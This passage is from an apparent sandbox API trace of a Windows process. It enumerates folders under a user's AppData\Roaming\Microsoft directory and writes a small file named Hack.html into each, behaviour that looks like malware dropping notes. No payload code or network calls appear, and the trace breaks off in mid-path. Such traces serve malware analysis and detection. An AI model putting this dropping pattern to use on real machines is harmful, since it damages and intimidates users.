lpFindFileData=0x39e9e8) returned 0x59a028 [0079.384] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Hack.html", lpFilePart=0x0) returned 0x62 [0079.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.384] GetFileType (hFile=0x174) returned 0x1 [0079.384] GetFileType (hFile=0x174) returned 0x1 [0079.385] WriteFile (in: hFile=0x174, lpBuffer=0x288332c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x288332c*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\Hack.html", lpFilePart=0x0) returned 0x5f [0079.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.386] GetFileType (hFile=0x174) returned 0x1 [0079.386] GetFileType (hFile=0x174) returned 0x1 [0079.386] WriteFile (in: hFile=0x174, lpBuffer=0x2885bac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2885bac*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\Hack.html", lpFilePart=0x0) returned 0x5a [0079.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.388] GetFileType (hFile=0x174) returned 0x1 [0079.388] GetFileType (hFile=0x174) returned 0x1 [0079.388] WriteFile (in: hFile=0x174, lpBuffer=0x288841c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x288841c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x3d [0079.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\", lpFilePart=0x0) returned 0x3e [0079.390] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.390] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x3d [0079.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\", lpFilePart=0x0) returned 0x3e [0079.391] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.391] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x45 [0079.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpFilePart=0x0) returned 0x46 [0079.391] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.391] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x45 [0079.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpFilePart=0x0) returned 0x46 [0079.392] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.392] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\Hack.html", lpFilePart=0x0) returned 0x4f [0079.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\excel\\xlstart\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.393] GetFileType (hFile=0x174) returned 0x1 [0079.393] GetFileType (hFile=0x174) returned 0x1 [0079.393] WriteFile (in: hFile=0x174, lpBuffer=0x288de44*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x288de44*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\Hack.html", lpFilePart=0x0) returned 0x47 [0079.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\excel\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.394] GetFileType (hFile=0x174) returned 0x1 [0079.394] GetFileType (hFile=0x174) returned 0x1 [0079.395] WriteFile (in: hFile=0x174, lpBuffer=0x2890664*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2890664*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12", lpFilePart=0x0) returned 0x3d [0079.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\", lpFilePart=0x0) returned 0x3e [0079.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.397] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12", lpFilePart=0x0) returned 0x3d [0079.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\", lpFilePart=0x0) returned 0x3e [0079.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.397] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\Hack.html", lpFilePart=0x0) returned 0x47 [0079.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ime12\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.398] GetFileType (hFile=0x174) returned 0x1 [0079.398] GetFileType (hFile=0x174) returned 0x1 [0079.398] WriteFile (in: hFile=0x174, lpBuffer=0x2894520*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2894520*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x3e [0079.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\", lpFilePart=0x0) returned 0x3f [0079.399] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.400] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x3e [0079.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\", lpFilePart=0x0) returned 0x3f [0079.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.400] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\Hack.html", lpFilePart=0x0) returned 0x48 [0079.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp12\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.401] GetFileType (hFile=0x174) returned 0x1 [0079.401] GetFileType (hFile=0x174) returned 0x1 [0079.401] WriteFile (in: hFile=0x174, lpBuffer=0x289842c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x289842c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x3f [0079.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\", lpFilePart=0x0) returned 0x40 [0079.403] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.404] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x3f [0079.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\", lpFilePart=0x0) returned 0x40 [0079.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.404] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.405] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\Hack.html", lpFilePart=0x0) returned 0x49 [0079.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp8_1\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.405] GetFileType (hFile=0x174) returned 0x1 [0079.405] GetFileType (hFile=0x174) returned 0x1 [0079.405] WriteFile (in: hFile=0x174, lpBuffer=0x289c358*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x289c358*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x3f [0079.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\", lpFilePart=0x0) returned 0x40 [0079.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.407] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x3f [0079.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\", lpFilePart=0x0) returned 0x40 [0079.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.408] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.408] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\Hack.html", lpFilePart=0x0) returned 0x49 [0079.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp9_0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.408] GetFileType (hFile=0x174) returned 0x1 [0079.408] GetFileType (hFile=0x174) returned 0x1 [0079.408] WriteFile (in: hFile=0x174, lpBuffer=0x28a0284*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x28a0284*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x49 [0079.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x4a [0079.410] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.410] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x49 [0079.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x4a [0079.410] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.410] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x56 [0079.410] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpFilePart=0x0) returned 0x57 [0079.410] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.411] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x56 [0079.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpFilePart=0x0) returned 0x57 [0079.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.411] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick 